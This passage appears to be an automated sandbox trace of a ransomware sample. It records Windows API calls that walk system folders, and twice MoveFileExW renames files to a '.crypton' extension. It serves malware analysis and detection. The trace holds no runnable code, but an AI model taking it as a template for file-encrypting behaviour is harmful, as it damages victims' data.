lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000A\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17903e80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17903e80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.728] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000B\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17929fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17929fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.736] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000C\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17929fe0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17929fe0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.743] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17950140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17950140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.751] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\000E\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17950140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17950140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.758] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0010\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x179762a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x179762a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.765] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0011\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x179762a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x179762a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.773] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0012\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1799c400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1799c400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.780] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0013\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x1799c400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1799c400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.787] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0014\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x179c2560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x179c2560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.794] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0015\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x179c2560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x179c2560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.801] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0019\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x179e86c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x179e86c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.811] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\001D\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x179e86c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x179e86c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.817] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\001F\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17a0e820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17a0e820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.827] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0404\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17a0e820, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17a0e820, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.842] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0416\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17a34980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17a34980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.849] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0804\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63ae820, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17a5aae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17a5aae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.866] GetFileType (hFile=0x178) returned 0x1 [0258.872] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\0816\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe63d4980, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x17a80c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17a80c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.877] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\PerfCounters.h" (normalized: "c:\\windows\\inf\\windows workflow foundation 4.0.0.0\\perfcounters.h"), lpNewFileName="C:\\\\Windows\\inf\\Windows Workflow Foundation 4.0.0.0\\PerfCounters.h.crypton" (normalized: "c:\\windows\\inf\\windows workflow foundation 4.0.0.0\\perfcounters.h.crypton"), dwFlags=0x2) returned 1 [0258.883] GetFileType (hFile=0x1f0) returned 0x1 [0258.889] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\WmiApRpl\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd5fc00, ftCreationTime.dwHighDateTime=0x1d4d596, ftLastAccessTime.dwLowDateTime=0x17aa6da0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17aa6da0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.890] GetFileType (hFile=0x178) returned 0x1 [0258.899] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\WmiApRpl\\0009\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd5fc00, ftCreationTime.dwHighDateTime=0x1d4d596, ftLastAccessTime.dwLowDateTime=0x17accf00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17accf00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.903] MoveFileExW (lpExistingFileName="C:\\\\Windows\\inf\\WmiApRpl\\WmiApRpl.h" (normalized: "c:\\windows\\inf\\wmiaprpl\\wmiaprpl.h"), lpNewFileName="C:\\\\Windows\\inf\\WmiApRpl\\WmiApRpl.h.crypton" (normalized: "c:\\windows\\inf\\wmiaprpl\\wmiaprpl.h.crypton"), dwFlags=0x2) returned 1 [0258.906] GetFileType (hFile=0x1f0) returned 0x1 [0258.911] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\wsearchidxpi\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x17af3060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17af3060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.911] GetFileType (hFile=0x178) returned 0x1 [0258.917] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\wsearchidxpi\\0000\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x17af3060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17af3060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.918] GetFileType (hFile=0x178) returned 0x1 [0258.924] FindFirstFileA (in: lpFileName="C:\\\\Windows\\inf\\wsearchidxpi\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x375a498b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x17af3060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17af3060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.925] GetFileInformationByHandle (in: hFile=0x178, lpFileInformation=0x4abc7c | out: lpFileInformation=0x4abc7c) returned 1 [0258.925] FileTimeToSystemTime (in: lpFileTime=0x4abc50, lpSystemTime=0x4abc24 | out: lpSystemTime=0x4abc24) returned 1 [0258.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc24, lpLocalTime=0x4abc34 | out: lpLocalTime=0x4abc34) returned 1 [0258.925] FileTimeToSystemTime (in: lpFileTime=0x4abc40, lpSystemTime=0x4abc14 | out: lpSystemTime=0x4abc14) returned 1 [0258.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc14, lpLocalTime=0x4abc24 | out: lpLocalTime=0x4abc24) returned 1 [0258.925] FileTimeToSystemTime (in: lpFileTime=0x4abc30, lpSystemTime=0x4abc04 | out: lpSystemTime=0x4abc04) returned 1 [0258.925] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4abc04, lpLocalTime=0x4abc14 | out: lpLocalTime=0x4abc14) returned 1 [0258.925] CloseHandle (hObject=0x178) returned 1 [0258.933] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x72a697c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x17b191c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17b191c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0258.935] GetFileType (hFile=0x1f0) returned 0x1 [0258.940] GetFileType (hFile=0x1f0) returned 0x1 [0258.941] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x343990d0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x17b191c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17b191c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0258.948] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x343990d0, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x17b3f320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17b3f320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7768fee5, dwReserved1=0x519300, cFileName=".", cAlternateFileName="")) returned 0x549810 [0258.956] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340000000100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac353d20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17b3f320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17b3f320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0258.963] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340000000100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac353d20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17b65480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17b65480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0258.965] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0258.965] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0258.965] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0258.966] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0258.967] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0258.967] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0258.967] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0258.968] CloseHandle (hObject=0x190) returned 1 [0258.976] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xba315120, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17b8b5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17b8b5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.032] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109340090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xba315120, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17bfda00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17bfda00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.034] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0259.034] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0259.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0259.034] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0259.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0259.034] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0259.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0259.034] CloseHandle (hObject=0x190) returned 1 [0259.036] GetFileType (hFile=0x1ac) returned 0x1 [0259.040] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109450090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbcbd89e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17c23b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17c23b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.041] GetFileType (hFile=0x190) returned 0x1 [0259.060] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109450090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbcbfeb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17c49cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17c49cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.065] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\000041094B0090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xdef2fd00, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x17c6fe20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17c6fe20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.070] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\000041094B0090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xdef2fd00, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x17c6fe20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17c6fe20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.071] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0259.071] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0259.071] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0259.072] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0259.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0259.072] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0259.072] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 